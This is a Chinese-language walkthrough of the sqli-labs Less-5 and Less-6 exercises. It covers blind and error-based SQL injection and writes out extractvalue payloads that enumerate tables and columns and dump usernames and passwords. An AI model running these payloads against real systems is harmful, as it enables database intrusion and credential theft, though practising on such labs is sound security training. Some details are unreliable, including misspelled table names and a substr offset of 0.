less-5
?id=1
结果不返回数据库中的数据,加反引号。
报错,再加个单引号。
说明存在sql盲注。(进一步验证,属于字符型注入)
结合bp爆破数据库的长度和数据库名。
数据库长度为8,接着爆库名。
库名为secuirty.
爆表
第一张表
emails,将limit 0,1换成limit 1,1 爆破第二张表。
依次得到所有的表:emails,referers,usgents,users
爆users表的字段。
依次跑出所有字段,找到username,password字段。
less-6
less-6与less-5一样,都是盲注,不过less-6使用的是双引号,将less-5中payload中的单引号改成双引号即可。
这里我尝试一下另一种方法,报错注入。
爆库
?id=1"and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
?id=1"and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)) --+
爆字段
?id=1"and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e)) --+
?id=1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name="users" limit 5,1),0x7e)) --+
爆数据
?id=1"and extractvalue(1,concat(0x7e,substr((select group_concat(username,":",password) from users) ,0,30),0x7e)) --+
依次将所有数据跑出来。